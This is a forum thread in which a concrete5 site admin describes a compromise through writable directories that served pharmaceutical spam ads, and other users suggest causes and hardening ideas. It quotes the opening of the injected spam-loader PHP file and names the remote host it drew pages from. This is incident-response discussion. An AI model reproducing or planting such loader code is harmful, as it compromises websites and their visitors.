C5 site compromised (related to chmod open directories).

Permalink
A major site I manage running concrete5 has just be compromised with pharmaceutical ads. The attack was related to open chmod directories (updates / packages / etc).

The site is still functioning properly, but compromised directories have allowed the "hacker" to insert php files that serve pharmaceutical ads. Take a quick glance at a google search:
http://www.google.com/#sclient=psy&hl=en&source=hp&q=si...

Especially bad is the fact that the compromised file was loading content within the page templates. Nothing ruins your Monday like having Viagra ads served right underneath your own logo....

This isn't really a concrete5 problem, but perhaps directories that are going to need open chmods should be forced to contain a read-only, redirecting index files - the same is true for packages.

The attacker used common directories (updates / config / etc) but also targeted the (packages / packages/flickr) folders.

Other than re-chmodding directories only when they need written to... does anyone have any other suggestions to prevent this in the future?

Could something like providing concrete5 with it's own FTP account allow directories to be locked down (I'm thinking something like SMTP to send email)?

At least it was easy to fix (this time)...

glockops
 
ijessup replied on at Permalink Reply
ijessup
There are open source FTP clients written in PHP.

It would be a good idea (I think) to use one of them as a security tool to lock/unlock directories when packages/updates are being installed. Assuming the web service account was unable to chmod via PHP.

Would make for a good Security Add-on. Could hook into the package install method (if it exists). Could easily store the (S)FTP information in the database with simple DES or AES encryption.
jbx replied on at Permalink Reply
jbx
Interesting...

While I agree that having write permissions on the updates folders etc. for apache would enable apache to write an index.php file to that folder, it doesn't explain how the hacker was able to convince apache to actually create and write the file.

I guess the hacker would need to exploit a vulnerability in the updating process, or hack your ftp account to actually get the file there in the first place. Do your logs show anything that could indicate how the site was exploited?

Jon
glockops replied on at Permalink Reply
glockops
This is what I'd always thought as well... (If you can't tell, I'm more front end than back ;)

Webhost says:

"Here is the official URL of the site pages originate from. It was rot13 encoded.
In case you want to follow any action.

http://dyn328.mydynamicdns.net/"...

Code for the compromised index.php files follows:
<?php
// REVISION: $Rev: 1153 $
error_reporting(0);
$requestTimeout = 60;
$useCurl = 0;
$seal = '7aY#4EwrU_eC2AbEcuP?8keYe&ruQuxE=R46eQ38eHE27aZeFr7W7eSp=752xen?';
class HttpRequest
{
  // Request mode, 0 - use CURL, 1 - use SOCKETS
  var $mode = 0;
  var $timeout = 60;
  function HttpRequest($mode = 0, $timeout = 60)
  {
    $this->mode = ($mode == 0 && function_exists('curl_init') ? 0 : 1);
    $this->timeout = $timeout;


I'll try to dig into the access logs today.
Just a quick glance through analytics (google webmaster tools) shows thousands... upon thousands of incoming links from unrelated, but real websites that have been compromised in a similar manner. All follow a /{some folder}/index.php?f=#### pattern.

I'm not exactly how sure this site has been compromised - our IT department just happen to receive a call from someone that found it. The pages in Google's cache report creation dates near the middle of may, a few of those index files have dates in October...
ijessup replied on at Permalink Reply
ijessup
If the site hosted on a shared platform, then the vulnerability could actually be from someone else's site(s).

I remember back in the day exploiting CGI to get access to the server's PHP.ini file because share hosts were usually stupid slow at getting things modified for you. To this day it still amazes me how insecure things used to be, and in some cases still are.

I remember about a year ago, the CGI exploit was possible on c5's servers. This was quickly rectified when brought to their attention. There was, and think there still is, a running competition that anyone who can hack c5 get's $500.

So, my intuition tells me that the hack was likely external to c5 itself. And was likely due to unauthorized FTP access. Or came from a self replicating CGI script.

I'm guessing that there was no damage to the database? If not, then c5 was not the target. It would be interesting to know if the hosting company will divulge any information about any other sites on that server being hacked as well. I would guess they wouldn't tell you for fear of losing customers.